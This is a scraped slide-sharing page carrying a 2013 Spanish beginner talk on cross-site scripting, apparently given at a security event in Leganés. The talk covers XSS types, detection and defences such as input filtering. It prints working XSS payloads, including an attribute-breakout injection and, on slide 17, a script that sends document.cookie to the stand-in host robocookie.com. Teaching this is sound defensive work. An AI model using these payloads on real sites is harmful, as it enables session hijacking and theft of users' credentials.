PLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docx
PLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docxPLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docx
PLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docxJUANSIMONPACHIN
 
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdfOswaldoGonzalezCruz
 
Estrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdfEstrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdfromanmillans
 
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptxc3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptxMartín Ramírez
 
Presentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptx
Presentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptxPresentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptx
Presentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptxYeseniaRivera50
 

Último (20)

PPT_Formación integral y educación CRESE (1).pdf
PPT_Formación integral y educación CRESE (1).pdfPPT_Formación integral y educación CRESE (1).pdf
PPT_Formación integral y educación CRESE (1).pdf
 
TUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJO
TUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJOTUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJO
TUTORIA II - CIRCULO DORADO UNIVERSIDAD CESAR VALLEJO
 
Introducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo SostenibleIntroducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo Sostenible
 
Uses of simple past and time expressions
Uses of simple past and time expressionsUses of simple past and time expressions
Uses of simple past and time expressions
 
LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...
LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...
LA ECUACIÓN DEL NÚMERO PI EN LOS JUEGOS OLÍMPICOS DE PARÍS. Por JAVIER SOLIS ...
 
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIATRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
 
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfMapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
 
c3.hu3.p1.p3.El ser humano como ser histórico.pptx
c3.hu3.p1.p3.El ser humano como ser histórico.pptxc3.hu3.p1.p3.El ser humano como ser histórico.pptx
c3.hu3.p1.p3.El ser humano como ser histórico.pptx
 
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxLINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
 
DECÁGOLO DEL GENERAL ELOY ALFARO DELGADO
DECÁGOLO DEL GENERAL ELOY ALFARO DELGADODECÁGOLO DEL GENERAL ELOY ALFARO DELGADO
DECÁGOLO DEL GENERAL ELOY ALFARO DELGADO
 
SINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptx
SINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptxSINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptx
SINTAXIS DE LA ORACIÓN SIMPLE 2023-2024.pptx
 
Los Nueve Principios del Desempeño de la Sostenibilidad
Los Nueve Principios del Desempeño de la SostenibilidadLos Nueve Principios del Desempeño de la Sostenibilidad
Los Nueve Principios del Desempeño de la Sostenibilidad
 
Unidad 3 | Teorías de la Comunicación | MCDI
Unidad 3 | Teorías de la Comunicación | MCDIUnidad 3 | Teorías de la Comunicación | MCDI
Unidad 3 | Teorías de la Comunicación | MCDI
 
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptxPPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
 
Unidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteUnidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parte
 
PLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docx
PLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docxPLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docx
PLANIFICACION ANUAL 2024 - INICIAL UNIDOCENTE.docx
 
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
 
Estrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdfEstrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdf
 
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptxc3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
 
Presentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptx
Presentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptxPresentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptx
Presentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptx
 

Xss attacks

  • 1. Leganés 6-7 Febrero 2013 www.1gbdeinformacion.com Except where otherwise noted, this work is licensed under: http://creativecommons.org/licenses/by-nc-sa/3.0/ c_b_n_a
  • 2. Leganés 6-7 Febrero 2013 Iniciándose en XSS QUIEN SOY Roberto García Amoriz: trabajo como Administrador de Sistemas Informáticos y Redes de Comunicaciones desde hace más de 10 años, proporcionando soporte a empresas líderes del sector. Apasionado de la Seguridad Informática, publico regularmente artículos sobre diversos temas relacionados con la tecnología y la seguridad desde mi blog www.1gbdeinformacion.com • Colaborador en Estación Informática y en Security By Default. • Ponente en los talleres de seguridad en las jornadas X1RedMasSegura. • Ponente en las 2ª HighsecCON. 2
  • 3. Leganés 6-7 Febrero 2013 Iniciándose en XSS Índice 1. Introducción 2. Definición de ataques XSS 3. Tipos de ataques XSS 4. Partes de un ataque XSS 5. Detectar aplicación web vulnerable 6. Ejemplos de ataques XSS 7. Soluciones a los ataques XSS 3
  • 4. Leganés 6-7 Febrero 2013 Iniciándose en XSS ¿Qué es XSS? • Es un ataque de inyección de código malicioso que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador. • Sucede cuando un atacante envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web… 4
  • 5. Leganés 6-7 Febrero 2013 Iniciándose en XSS 1. Introducción Cross Site Scripting (XSS) • Los ataques XSS se pueden perpetrar en cualquier web que permita ejecutar código de “scripting” como Java Script, Visual Basic Scrip (VBS), Action Script (flash) etc. • Para llevarlo a cabo es necesario encontrar un punto de entrada, normalmente los formularios, cuadros de búsqueda etc. • Estos datos no se validan correctamente en algunas aplicaciones, permitiendo la ejecución de ese código. • En un ataque XSS es posible acceder a partes restringidas, recuperar información del usuario, secuestrar cuentas e incluso modificar el contenido del sitio. 5
  • 6. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS ¿En qué consiste? • Son vulnerabilidades en sitios web que se aprovechan de la falta de sistemas de filtrado y de validación en los campos de entrada. Estos permiten el envío de scripts (Java Script, Visual Basic Script etc) para su posterior ejecución. • Ese código se interpreta en la parte cliente (el navegador) y no en la parte del servidor, de manera que si se inyecta una parte de código en una pagina web, no se dañaría el servidor, ya que él no interpreta el código, solo la parte del navegador. • Este ataque se denomina  ataque del lado cliente. 6
  • 7. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS Una página es vulnerable a XSS cuando lo que nosotros enviamos al servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se ve reflejado posteriormente en la página de respuesta. 7
  • 8. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS Riesgos • Acceso a zonas restringidas. • Robo de credenciales. • Modificación del contenido del sitio (defacement). • Phishing. • Navegación dirigida. 8
  • 9. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS Recursos utilizados • Correo web. • Mensajes en foros. • Libros de visita. • Cuadros de búsqueda. • Formularios de contactos 9
  • 10. Leganés 6-7 Febrero 2013 Iniciándose en XSS 3. Tipos de ataques XSS • Persistente • Se produce cuando un atacante consigue inyectar código malicioso en una web que es vulnerable. • El código inyectado queda “almacenado” en la base de datos de una web (formularios) y cuando los usuarios visitan esa web el código se ejecuta. • Se suele producir en las aplicaciones que permiten a un usuario almacenar algún tipo de dato. • Permite tomar el control de navegador de la victima, recoger información, realizar un defacement, ejecutar exploits basados en navegador, etc. • Son los ataques XSS más peligrosos. 10
  • 11. Leganés 6-7 Febrero 2013 Iniciándose en XSS 3. Tipos de ataques XSS • No persistente • Es un tipo de inyección de código que no se ejecuta con la aplicación web, si no que se origina cuando la víctima carga una URL en el navegador. • La URL es modificada en la web para que se obtenga un resultado distinto al esperado. Vulnerabilidad encontrada por@Dylan_irzi11 11
  • 12. Leganés 6-7 Febrero 2013 Iniciándose en XSS <!-- Aclaración--> 12
  • 13. Leganés 6-7 Febrero 2013 Iniciándose en XSS 4. Partes de un ataque XSS (Visto como el atacante) • Inyección del código: Identificar que código se puede introducir. • POC: ¿Qué puedes hacer con el XSS? ¿Robo de credenciales?, ¿defacement?, etc. • Llevar a cabo el daño. Suplantación de identidad, envío de Spam, etc. 13
  • 14. Leganés 6-7 Febrero 2013 Iniciándose en XSS Vale, que sí ¿pero como atacan? • El código se copia entre dos etiquetas HTML: Solo debemos introducir el código Javascript que queremos ejecutar. <script>alert(“Ataque XSS");</script> • El código se copia dentro de una etiqueta value de una etiqueta <input>. <input type=“text" name=“q2” value="[busqueda]" /> Este código queda situado entre comillas dobles de un atributo que pertenece a una etiqueta HTML y no permite que se ejecute, así que es necesario cerrar la etiqueta HTML e insertar después el código Javascript. "/><script>alert(“Ataque XSS");</script><div class=“ Quedando de esta manera: <input type="text" name="q2" value=“busqueda"/> <script>alert(“Ataque XSS");</script><div class="" /> Al final del código se introduce una etiqueta <div> para evitar la malformación del código HTML. 14
  • 15. Leganés 6-7 Febrero 2013 Iniciándose en XSS 5. Detectar aplicación web vulnerable • Detectar la vulnerabilidad a través de formulario Ej: <script>alert(“akil3s”);</script> 15
  • 16. Leganés 6-7 Febrero 2013 Iniciándose en XSS 5. Detectar aplicación web vulnerable • Detectar la vulnerabilidad a través de URL Ej: http://tuweb.com/index.html?nombre=<script>alert(“La alerta”);</script> Alberto Segura. http://elladodelnovato.blogspot.com.es/ 16
  • 17. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Robo de cookies y sesión • Mediante la propiedad document.cookie podemos sacar la cookie que está usando el usuario: <script language="javascript"> alert(“TeRobolaCookie: " + document.cookie); </script> • Si conseguimos sacar ese dato fuera y el control de sesión es demasiado simple, se puede realizar un “session hijacking “o secuestro de sesión. <script> document.location.href = "http://robocookie.com/recibir.php?ck="+ document.cookie; </script> 17
  • 18. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Los atacantes consiguieron modificar (deface) la imagen del video de bienvenida del presidente del gobierno por otra imagen, en este caso Mr Bean. 18
  • 19. Leganés 6-7 Febrero 2013 Iniciándose en XSS Juan Carlos García: http://hackingmadrid.blogspot.com.es/2012/05/hacking-madrideasy-xss-and-cross-site.html 19
  • 20. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS El atacante mediante el uso de Java Script conseguía la cookie de usuario, logrando redireccionar su contenido a un servidor web controlado, lo que permitía al atacante acceder a los mensajes privados, agregar nuevas aplicaciones sin ser autorizado, ver la lista de contactos, las imágenes privadas de la víctima, etc. 20
  • 21. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Los atacantes consiguieron atacar Youtube inyectando código desde el área de comentarios. Consiguieron forzar mensajes pop-up para que apareciesen en la pagina y redireccionaron a los visitantes a paginas que contenían malware. 21
  • 22. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Cuando se crea una lista nueva de contactos en Twitter, si el nombre de la lista lo cambiamos por código de scripting, este se valida en la web. Alberto Segura: http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-twitter.html 22
  • 23. Leganés 6-7 Febrero 2013 Iniciándose en XSS Time for demo 23
  • 24. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS  Al diseñar las aplicaciones • Se debe verificar siempre que el tipo de datos y la longitud de los campos se correspondan con lo esperado. Hay que filtrar los caracteres que puedan resultar dañinos. • Las aplicaciones web deben programarse filtrando determinados comandos como: script, form, applet, object , embed, marquee, img src... • Cuando se detecten posibles ataques enviar mensajes de alerta intimidatorios. 24
  • 25. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS  Usar las ultimas versiones de los navegadores • Desde la versión de Internet Explorer 8 si intentas acceder a una página web que ha sufrido un ataque XSS, aparece un mensaje avisando de que la web ha sido modificada. • Esto es debido a que el filtro Anti XSS de IE detecta la manipulación de la pagina a través de la inyección de código en un parámetro. * Por esto, es muy recomendable tener siempre actualizado todo el software de tu equipo. 25
  • 26. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS • Los usuarios también pueden protegerse contra los ataques XSS configurando los navegadores para impedir que se ejecuten lenguajes de scripting (NoScript). Esto no dará una solución óptima para el usuario porque hay paginas que no funcionan correctamente si se prohíbe la ejecución de código dinámico. • Una solución mas viable para impedir ataques XSS pasa por diseñar una pagina web “sin vulnerabilidades”, para ello el diseñador debe:      Verificar el formato de los datos que van a poder introducir los usuarios. Codificar los datos visibles al usuario reemplazando los caracteres especiales. Revisar las cookies. El código introducido no puede ser superior a X caracteres. Al terminar una pagina web, contratar los servicios de un auditor de seguridad para que haga una prueba antes de poner la web en producción. 26
  • 27. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS • Ejemplo practico. Vamos a ver como disminuir los problemas generados por los ataques XSS. 27
  • 28. Leganés 6-7 Febrero 2013 Iniciándose en XSS • En el ejemplo anterior vemos como filtramos los datos que el usuario puede enviar al site. En la primera línea vemos que se están omitiendo los espacios. • En la segunda línea estamos evitando problemas con la codificación Unicode. • En las siguientes líneas estamos omitiendo los caracteres. 28
  • 29. Leganés 6-7 Febrero 2013 Iniciándose en XSS • XSS en hexadecimal Con lo que hemos visto anteriormente, podríamos parar los pies a los ScriptKiddies, pero, ¿que pasaría si nos encontramos con alguien con mas experiencia? Alguien como el de la foto, que ya se las sabe todas, podría hacer algo como esto: Aquí habría un cambio del código, de ASCII a Hexadecimal en una petición GET. El navegador lo interpretaría de la siguiente manera. Jose Selvi  pentester.es 29
  • 30. Leganés 6-7 Febrero 2013 Iniciándose en XSS • Por eso en la tercera imagen lo habíamos evitado omitiendo los caracteres # y % ya que directamente los convierte a UTF-8. • Al contrario de lo que muchos piensan, un sitio web que utilice SSL (HTTPS) no esta más protegido que uno que no esté cifrado. Las aplicaciones web funcionan de la misma manera, excepto que el ataque se lleva a cabo en una conexión cifrada. 30
  • 32. Leganés 6-7 Febrero 2013 Iniciándose en XSS • Todos los servidores web, servidores de aplicaciones y entornos de aplicaciones web son susceptibles de un ataque XSS. • Los sitios que han sufrido (o tienen) ataques XSS también pueden tener ataques de fuerza bruta o de denegación del servicio (DOS). • No confiar nunca en los datos introducidos por los usuarios, debemos tratarlos todos como “potencialmente peligrosos”. • Para terminar, comentar que hay frameworks como Symphony o CakePHP que ya se encargan de implementar este tipo de seguridad, como también lo hacen ciertos gestores de contenidos. • También hay Add-ons para Firefox como XSS Me o Domsnitch para Chrome que ayudan a paliar los problemas con ataques XSS en el proceso de desarrollo web. 32
  • 33. Leganés 6-7 Febrero 2013 Iniciándose en XSS Email: info@1gbdeinformacion.com Blog: www.1gbdeinformacion.com Twitter: @1Gbdeinfo 33
  • 34. Leganés 6-7 Febrero 2013 Iniciándose en XSS Pedro Candel  @NN2ed_s4ur0n Victor Calvo @aetsu Juan Carlos García  @secnight Daniel Garcia  @ggdaniel Yago Jesús  @YJesus Alberto segura  @alberto__segura Guille @guilleSec Email: info@1gbdeinformacion.com Blog: www.1gbdeinformacion.com Twitter: @1Gbdeinfo 34